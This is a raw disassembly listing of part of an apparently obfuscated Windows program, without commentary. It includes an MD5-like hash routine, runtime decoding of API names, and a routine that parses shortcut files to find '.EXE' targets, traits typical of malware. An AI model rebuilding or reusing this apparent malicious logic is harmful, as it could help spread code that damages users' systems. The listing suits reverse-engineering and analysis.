loc_43B043:				; CODE XREF: sub_43B004+26j
		pop	edi
		retn
sub_43B004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B045	proc near		; CODE XREF: sub_44718F+89p

var_11C		= dword	ptr -11Ch
var_DC		= dword	ptr -0DCh
var_9C		= dword	ptr -9Ch
var_5C		= dword	ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_4], ecx
		mov	edx, [eax+0Ch]
		mov	[ebp+var_10], edx
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		lea	edi, [ebp+var_11C]
		lea	esi, dword_551324
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_5C]
		lea	esi, dword_551364
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_9C]
		lea	esi, dword_5513A4
		mov	ecx, 10h
		rep movsd
		lea	edi, [ebp+var_DC]
		lea	esi, dword_5513E4
		mov	ecx, 10h
		rep movsd
		movsx	ebx, word_5510EC
		jmp	loc_43B1E6
; ---------------------------------------------------------------------------


loc_43B0C3:				; CODE XREF: sub_43B045+1B1j
		mov	edi, ebx
		shl	edi, 2
		push	[ebp+edi+var_11C]
		mov	edi, dword_5511E4
		movsx	esi, word_551234
		add	edi, esi
		sub	edi, 2
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_43E913
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_55114C
		add	eax, dword_5510A8
		sub	eax, 0Ah
		cmp	eax, ebx
		jz	short loc_43B14E
		mov	edi, ebx
		inc	edi
		push	[ebp+edi*4+var_11C]
		mov	edi, dword_5511D0
		add	edi, 9
		push	edi
		movsx	edi, word_55111C
		inc	edi
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43E913
		add	esp, 1Ch
		mov	[ebp+var_10], eax


loc_43B14E:				; CODE XREF: sub_43B045+CAj
		mov	edi, dword_551160
		mov	esi, edi
		add	esi, edi
		mov	edi, esi
		sub	edi, 8
		mov	esi, ebx
		add	esi, edi
		push	[ebp+esi*4+var_11C]
		mov	edi, dword_5511FC
		add	edi, 11h
		push	edi
		mov	edi, dword_5511B0
		sub	edi, 5
		mov	esi, ebx
		add	esi, edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+esi*4]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	sub_43E913
		mov	[ebp+var_8], eax
		mov	edi, dword_55122C
		add	edi, dword_551138
		dec	edi
		mov	esi, ebx
		add	esi, edi
		push	[ebp+esi*4+var_11C]
		movsx	edi, word_551234
		add	edi, 12h
		push	edi
		mov	edi, ebx
		add	edi, 3
		mov	esi, [ebp+arg_4]
		push	dword ptr [esi+edi*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	eax
		push	[ebp+var_4]
		call	sub_43E913
		add	esp, 38h
		mov	[ebp+var_4], eax
		mov	eax, dword_551154
		sub	eax, 3
		add	ebx, eax


loc_43B1E6:				; CODE XREF: sub_43B045+79j
		mov	eax, dword_55124C
		add	eax, dword_55113C
		sub	eax, 2
		cmp	ebx, eax
		jbe	loc_43B0C3
		mov	eax, dword_551098
		mov	ebx, eax
		add	ebx, dword_5510FC
		sub	ebx, 3
		movsx	eax, word_551268
		add	eax, dword_551248
		sub	eax, 7
		mov	[ebp+var_14], eax
		jmp	loc_43B3AE
; ---------------------------------------------------------------------------


loc_43B224:				; CODE XREF: sub_43B045+376j
		mov	edi, [ebp+var_14]
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_55109C
		sub	edi, 2
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_43FC83
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_5510D4
		movsx	edx, word_5510EC
		add	eax, edx
		sub	eax, 2
		add	ebx, eax
		mov	eax, dword_551160
		add	eax, 0Ah
		movsx	edx, word_551240
		add	eax, edx
		cmp	ebx, eax
		jb	short loc_43B286
		movsx	eax, word_551260
		add	eax, 7
		sub	ebx, eax


loc_43B286:				; CODE XREF: sub_43B045+233j
		mov	edi, [ebp+var_14]
		inc	edi
		push	[ebp+edi*4+var_5C]
		movsx	edi, word_551260
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_43FC83
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		movsx	eax, word_5511A8
		add	eax, 5
		add	ebx, eax
		mov	eax, dword_5511B8
		add	eax, 9
		cmp	ebx, eax
		jb	short loc_43B2DF
		movsx	eax, word_55112C
		movsx	edx, word_551228
		lea	eax, [eax+edx+5]
		sub	ebx, eax


loc_43B2DF:				; CODE XREF: sub_43B045+284j
		mov	edi, [ebp+var_14]
		add	edi, 2
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_551258
		add	edi, 0Dh
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	sub_43FC83
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		mov	eax, dword_551190
		dec	eax
		add	ebx, eax
		mov	eax, dword_551200
		add	eax, 0Dh
		cmp	ebx, eax
		jb	short loc_43B330
		movsx	eax, word_551220
		add	eax, 0Fh
		sub	ebx, eax


loc_43B330:				; CODE XREF: sub_43B045+2DDj
		mov	edi, [ebp+var_14]
		mov	esi, dword_551148
		sub	esi, 4
		add	edi, esi
		push	[ebp+edi*4+var_5C]
		mov	edi, dword_551238
		add	edi, 9
		add	edi, dword_551250
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_43FC83
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_551250
		movsx	edx, word_551194
		add	eax, edx
		sub	eax, 4
		add	ebx, eax
		mov	eax, dword_551208
		add	eax, 0Eh
		movsx	edx, word_5510E4
		add	eax, edx
		cmp	ebx, eax
		jb	short loc_43B3A1
		mov	eax, dword_55119C
		add	eax, 9
		sub	ebx, eax


loc_43B3A1:				; CODE XREF: sub_43B045+350j
		movsx	eax, word_551170
		add	eax, 3
		add	[ebp+var_14], eax


loc_43B3AE:				; CODE XREF: sub_43B045+1DAj
		movsx	eax, word_551268
		add	eax, 9
		cmp	[ebp+var_14], eax
		jbe	loc_43B224
		mov	eax, dword_55124C
		mov	ebx, eax
		add	ebx, dword_55121C
		mov	eax, dword_551178
		add	eax, dword_551130
		sub	eax, 6
		mov	[ebp+var_18], eax
		jmp	loc_43B59A
; ---------------------------------------------------------------------------


loc_43B3E4:				; CODE XREF: sub_43B045+562j
		mov	edi, [ebp+var_18]
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_551158
		add	edi, 3
		movsx	esi, word_5510E4
		add	edi, esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_440450
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		movsx	eax, word_551260
		add	eax, dword_55124C
		sub	eax, 0Bh
		add	ebx, eax
		mov	eax, dword_551230
		add	eax, 6
		add	eax, dword_551160
		cmp	ebx, eax
		jb	short loc_43B44C
		mov	eax, dword_55117C
		add	eax, 0Bh
		sub	ebx, eax


loc_43B44C:				; CODE XREF: sub_43B045+3FBj
		mov	edi, [ebp+var_18]
		mov	esi, dword_5511C0
		inc	esi
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_55113C
		add	edi, dword_5510C4
		sub	edi, 7
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_440450
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		movsx	eax, word_551260
		add	eax, dword_5511D4
		sub	eax, 0Fh
		add	ebx, eax
		mov	eax, dword_5510FC
		add	eax, 5
		add	eax, dword_551124
		cmp	ebx, eax
		jb	short loc_43B4BC
		movsx	eax, word_551120
		add	eax, 0Dh
		sub	ebx, eax


loc_43B4BC:				; CODE XREF: sub_43B045+469j
		mov	edi, [ebp+var_18]
		mov	esi, dword_551090
		inc	esi
		add	edi, esi
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_5510D4
		add	edi, 5
		add	edi, dword_5510B4
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	sub_440450
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		movsx	eax, word_5511BC
		add	eax, dword_551250
		sub	eax, 4
		add	ebx, eax
		movsx	eax, word_551120
		add	eax, 0Dh
		cmp	ebx, eax
		jb	short loc_43B52A
		mov	eax, dword_55119C
		inc	eax
		add	eax, dword_5510B8
		sub	ebx, eax


loc_43B52A:				; CODE XREF: sub_43B045+4D5j
		mov	edi, [ebp+var_18]
		add	edi, 3
		push	[ebp+edi*4+var_9C]
		mov	edi, dword_5510F8
		add	edi, 0Eh
		add	edi, dword_551230
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_440450
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_5511A4
		sub	eax, 3
		add	ebx, eax
		mov	eax, dword_551208
		add	eax, 7
		movsx	edx, word_5510A0
		add	eax, edx
		cmp	ebx, eax
		jb	short loc_43B58F
		movsx	eax, word_551224
		add	eax, 0Eh
		sub	ebx, eax


loc_43B58F:				; CODE XREF: sub_43B045+53Cj
		mov	eax, dword_55119C
		sub	eax, 3
		add	[ebp+var_18], eax


loc_43B59A:				; CODE XREF: sub_43B045+39Aj
		movsx	eax, word_551240
		add	eax, 0Bh
		cmp	[ebp+var_18], eax
		jbe	loc_43B3E4
		mov	eax, dword_551114
		mov	ebx, eax
		add	ebx, dword_55126C
		sub	ebx, 0Ah
		mov	eax, dword_55114C
		sub	eax, 6
		mov	[ebp+var_1C], eax
		jmp	loc_43B774
; ---------------------------------------------------------------------------


loc_43B5CD:				; CODE XREF: sub_43B045+73Aj
		mov	edi, [ebp+var_1C]
		push	[ebp+edi*4+var_DC]
		movsx	edi, word_551274
		add	edi, 5
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_440417
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		mov	eax, dword_551154
		add	eax, dword_551230
		sub	eax, 5
		add	ebx, eax
		movsx	eax, word_551228
		mov	edx, dword_551160
		lea	eax, [eax+edx+5]
		cmp	ebx, eax
		jb	short loc_43B631
		mov	eax, dword_551148
		add	eax, dword_5511E0
		sub	ebx, eax


loc_43B631:				; CODE XREF: sub_43B045+5DDj
		mov	edi, [ebp+var_1C]
		inc	edi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_551098
		add	edi, 8
		movsx	esi, word_55111C
		add	edi, esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_440417
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_551238
		sub	eax, 2
		add	ebx, eax
		mov	eax, dword_551264
		add	eax, 8
		movsx	edx, word_551140
		add	eax, edx
		cmp	ebx, eax
		jb	short loc_43B695
		mov	eax, dword_55121C
		add	eax, 10h
		sub	ebx, eax


loc_43B695:				; CODE XREF: sub_43B045+644j
		mov	edi, [ebp+var_1C]
		movsx	esi, word_551240
		add	esi, dword_551108
		dec	esi
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_551130
		add	edi, 7
		add	edi, dword_551270
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	sub_440417
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		mov	eax, dword_55110C
		sub	eax, 2
		add	ebx, eax
		mov	eax, dword_551154
		add	eax, 9
		cmp	ebx, eax
		jb	short loc_43B6FC
		mov	eax, dword_5511F4
		add	eax, 0Bh
		sub	ebx, eax


loc_43B6FC:				; CODE XREF: sub_43B045+6ABj
		mov	edi, [ebp+var_1C]
		movsx	esi, word_551234
		add	esi, dword_551258
		sub	esi, 2
		add	edi, esi
		push	[ebp+edi*4+var_DC]
		mov	edi, dword_5511DC
		add	edi, 0Ch
		push	edi
		mov	edi, [ebp+arg_4]
		push	dword ptr [edi+ebx*4]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_440417
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		mov	eax, dword_551164
		add	eax, 7
		add	eax, dword_551100
		add	ebx, eax
		movsx	eax, word_551094
		add	eax, 0Dh
		cmp	ebx, eax
		jb	short loc_43B769
		movsx	eax, word_55111C
		add	eax, 10h
		sub	ebx, eax


loc_43B769:				; CODE XREF: sub_43B045+716j
		mov	eax, dword_5511F0
		sub	eax, 5
		add	[ebp+var_1C], eax


loc_43B774:				; CODE XREF: sub_43B045+583j
		mov	eax, dword_55116C
		add	eax, 3
		cmp	[ebp+var_1C], eax
		jbe	loc_43B5CD
		mov	edi, [ebp+arg_0]
		movsx	esi, word_551224
		add	esi, dword_5511E0
		mov	ebx, [edi]
		add	ebx, [ebp+var_C]
		mov	[edi+esi*4-2Ch], ebx
		movsx	esi, word_55115C
		mov	ebx, [ebp+var_4]
		add	ebx, [edi+4]
		mov	[edi+esi*4-8], ebx
		mov	esi, dword_5511E8
		mov	ebx, [ebp+var_10]
		add	ebx, [edi+0Ch]
		mov	[edi+esi*4-10h], ebx
		mov	esi, dword_551148
		mov	ebx, [ebp+var_8]
		add	ebx, [edi+8]
		mov	[edi+esi*4-14h], ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B7D4	proc near		; DATA XREF: .data:off_5512E0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	offset dword_552A24
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jnz	short loc_43B810
		push	offset byte_550140
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jnz	short loc_43B810
		push	offset dword_5529F4
		push	edi
		call	ds:dword_50EA3C
		or	eax, eax
		jz	short loc_43B820


loc_43B810:				; CODE XREF: sub_43B7D4+1Aj
					; sub_43B7D4+2Aj
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		push	dword ptr [esi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43B83A
; ---------------------------------------------------------------------------


loc_43B820:				; CODE XREF: sub_43B7D4+3Aj
		movsx	eax, word_5510AC
		movsx	edx, word_5511A8
		add	eax, edx
		sub	eax, 7
		mov	[esi], eax
		mov	eax, 80004002h


loc_43B83A:				; CODE XREF: sub_43B7D4+4Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43B7D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B841	proc near		; CODE XREF: sub_43E491+1Bp
		call	sub_43B004
		push	offset dword_552970
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_550150, eax
		push	offset asc_552965 ; "\a"
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_44803C, eax
		push	offset byte_552959
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_4CC31C, eax
		push	offset byte_55294F
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_44B1A4, eax
		push	offset byte_552947
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_48B9F0, eax
		push	offset word_55293E
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_4CE9F4, eax
		push	offset dword_552934
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_4CD914, eax
		push	offset dword_55292C
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_44901C, eax
		push	offset word_552922
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_48B9E0, eax
		push	offset dword_552918
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_44802C, eax
		push	offset word_55290E
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		mov	ds:dword_4CDA34, eax
		push	offset dword_552904
		call	sub_43AC94
		push	eax
		call	sub_43F4AF
		add	esp, 60h
		mov	ds:dword_50EA40, eax
		retn
sub_43B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B946	proc near		; CODE XREF: sub_44757D+19Cp

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_2000	= byte ptr -2000h
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_44799C
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_43B96E:				; CODE XREF: sub_43B946+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B96E
		movsx	ebx, word_551104
		movsx	edx, word_551144
		add	ebx, edx
		sub	ebx, 5
		mov	esi, eax
		sub	esi, ebx
		mov	ebx, dword_551184
		sub	ebx, 8
		mov	[ebp+esi+var_12104], bl
		movsx	eax, word_551120
		mov	edx, eax
		add	edx, dword_5510A4
		sub	edx, 0Ch
		push	edx
		movsx	edx, word_551234
		add	eax, edx
		sub	eax, 7
		push	eax
		push	3
		movsx	eax, word_5511C4
		sub	eax, 7
		push	eax
		movsx	eax, word_5511AC
		add	eax, dword_5511B0
		sub	eax, 0Dh
		push	eax
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	ds:dword_54FC18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43BC2E
		movsx	eax, word_5510E4
		add	eax, dword_5511D0
		sub	eax, 3
		push	eax
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	ds:dword_448034
		mov	[ebp+var_12108], eax
		push	edi
		call	ds:dword_4CDA48
		mov	eax, dword_551148
		sub	eax, 7
		cmp	[ebp+var_12108], eax
		jz	loc_43BC2E
		movsx	eax, word_551274
		cmp	[ebp+eax+var_2000], 4Ch
		jnz	loc_43BC2E
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movsx	eax, word_551170
		movzx	edx, [ebp+var_1210A]
		lea	eax, [eax+edx+4Dh]
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		movsx	edx, word_5510E4
		add	edx, dword_55119C
		sub	edx, 7
		cmp	eax, edx
		jz	loc_43BC2E
		mov	eax, dword_551118
		add	eax, dword_5510E0
		sub	eax, 9
		movzx	edx, [ebp+var_12000]
		mov	ecx, dword_551124
		add	ecx, dword_551098
		sub	ecx, 3
		add	edx, ecx
		movsx	edx, [ebp+edx+var_1FFF]
		cmp	eax, edx
		jnz	loc_43BC2E
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_551218
		add	edx, 0Fh
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		mov	esi, dword_5511D0
		add	esi, 0Dh
		movsx	ebx, word_551274
		add	esi, ebx
		mov	ebx, eax
		add	ebx, esi
		movzx	esi, [ebp+ebx+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_44799C
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_43BB65:				; CODE XREF: sub_43B946+224j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43BB65
		mov	edi, eax
		movsx	eax, word_5510CC
		sub	eax, 1
		mov	edx, edi
		sub	edx, eax
		cmp	[ebp+edx+var_11FFE], 2Eh
		jnz	short loc_43BBF6
		mov	eax, dword_551138
		movsx	edx, word_551228
		add	eax, edx
		sub	eax, 7
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_43BBF6
		movsx	esi, word_551224
		sub	esi, 1
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_44803C
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43BBF6
		mov	esi, edi
		sub	esi, dword_551200
		movsx	esi, [ebp+esi+var_11FFE]
		push	esi
		call	ds:dword_44803C
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_43BBF8


loc_43BBF6:				; CODE XREF: sub_43B946+23Ej
					; sub_43B946+26Aj ...
		jmp	short loc_43BC2E
; ---------------------------------------------------------------------------


loc_43BBF8:				; CODE XREF: sub_43B946+2AEj
		push	offset byte_5528FF
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	ds:dword_44802C
		mov	eax, dword_551100
		add	eax, dword_551148
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_43C506
		add	esp, 14h


loc_43BC2E:				; CODE XREF: sub_43B946+ABj
					; sub_43B946+F7j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B946	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BC33	proc near		; DATA XREF: sub_43E491+276o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_44B5C8
		pop	edi
		pop	ebp
		retn	10h
sub_43BC33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BC51	proc near		; CODE XREF: sub_43BCA0+9p
					; sub_43F031+Cp ...

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		movsx	eax, word_551170
		dec	eax
		cmp	eax, dword_5512AC
		jz	short loc_43BC6F
		xor	eax, eax
		inc	eax
		jmp	short locret_43BC9E
; ---------------------------------------------------------------------------


loc_43BC6F:				; CODE XREF: sub_43BC51+17j
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	ds:dword_550028
		cmp	[ebp+var_84], 2
		jnz	short loc_43BC99
		mov	dword_5512AC, 1


loc_43BC99:				; CODE XREF: sub_43BC51+3Cj
		mov	eax, dword_5512AC

locret_43BC9E:				; CODE XREF: sub_43BC51+1Cj
		leave
		retn
sub_43BC51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BCA0	proc near		; CODE XREF: sub_440485+BFp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_43BC51
		or	eax, eax
		jz	short loc_43BCD6
		push	dword_5512B0
		push	1
		push	edi
		call	ds:dword_54EA68
		mov	[ebp+var_4], eax
		push	dword_5512B0
		push	4
		push	edi
		call	ds:dword_54EA68
		mov	[ebp+var_8], eax


loc_43BCD6:				; CODE XREF: sub_43BCA0+10j
		pop	edi
		leave
		retn
sub_43BCA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BCD9	proc near		; CODE XREF: sub_441AE5+1D0p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_4CC330
		call	ds:dword_54FC18
		mov	edi, eax
		movsx	eax, word_5511C8
		movsx	edx, word_5510EC
		lea	eax, [eax+edx-8]
		cmp	edi, eax
		jnz	short loc_43BD31
		mov	eax, dword_551258
		add	eax, dword_5510F4
		sub	eax, 3
		mov	edx, dword_551270
		sub	edx, 5
		mov	[esi+eax], dl
		jmp	short loc_43BDA5
; ---------------------------------------------------------------------------


loc_43BD31:				; CODE XREF: sub_43BCD9+3Aj
		push	0
		mov	eax, dword_55121C
		add	eax, dword_5510D0
		sub	eax, 4
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_550030
		movsx	eax, word_5510CC
		movsx	edx, word_5510A0
		add	eax, edx
		sub	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		movsx	eax, word_55123C
		add	eax, 11h
		push	eax
		push	esi
		push	edi
		call	ds:dword_448034
		mov	ebx, eax
		push	edi
		call	ds:dword_4CDA48
		movsx	eax, word_551188
		add	eax, dword_5511FC
		sub	eax, 5
		cmp	ebx, eax
		jnz	short loc_43BDA5
		mov	eax, dword_5511A0
		mov	edx, dword_5510FC
		sub	edx, 2
		mov	[esi+eax], dl


loc_43BDA5:				; CODE XREF: sub_43BCD9+56j
					; sub_43BCD9+B9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BCD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BDAA	proc near		; CODE XREF: sub_43C10A+27Ap

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, [esp+8+arg_0]
		mov	edi, esi
		mov	eax, dword_551178
		add	eax, 4
		movsx	edx, word_5511A8
		add	eax, edx
		cmp	edi, eax
		jge	short loc_43BE01
		mov	eax, dword_551218
		add	eax, dword_5510A4
		sub	eax, 5
		imul	edi, eax
		movsx	eax, word_551094
		movsx	edx, word_55120C
		lea	eax, [eax+edx+1]
		mov	edx, dword_55126C
		sub	edx, 7
		mov	ecx, esi
		add	ecx, edx
		imul	eax, ecx
		sub	edi, eax
		jmp	loc_43BF44
; ---------------------------------------------------------------------------


loc_43BE01:				; CODE XREF: sub_43BDAA+1Bj
		dec	edi
		mov	eax, dword_5510D4
		add	eax, 4
		add	eax, dword_5511D4
		cmp	edi, eax
		jge	short loc_43BE41
		mov	eax, dword_5510BC
		add	eax, 2
		add	eax, dword_5510C8
		imul	eax, edi
		mov	edi, eax
		sub	eax, esi
		mov	edx, dword_55117C
		add	edx, 7
		add	edx, dword_551158
		mov	edi, eax
		sub	edi, edx
		jmp	loc_43BF44
; ---------------------------------------------------------------------------


loc_43BE41:				; CODE XREF: sub_43BDAA+68j
		dec	edi
		movsx	eax, word_551274
		add	eax, 21h
		cmp	edi, eax
		jge	short loc_43BE6A
		mov	eax, dword_5510D0
		dec	eax
		imul	eax, edi
		mov	edi, eax
		mov	eax, dword_5511C0
		add	eax, 42h
		sub	edi, eax
		jmp	loc_43BF44
; ---------------------------------------------------------------------------


loc_43BE6A:				; CODE XREF: sub_43BDAA+A4j
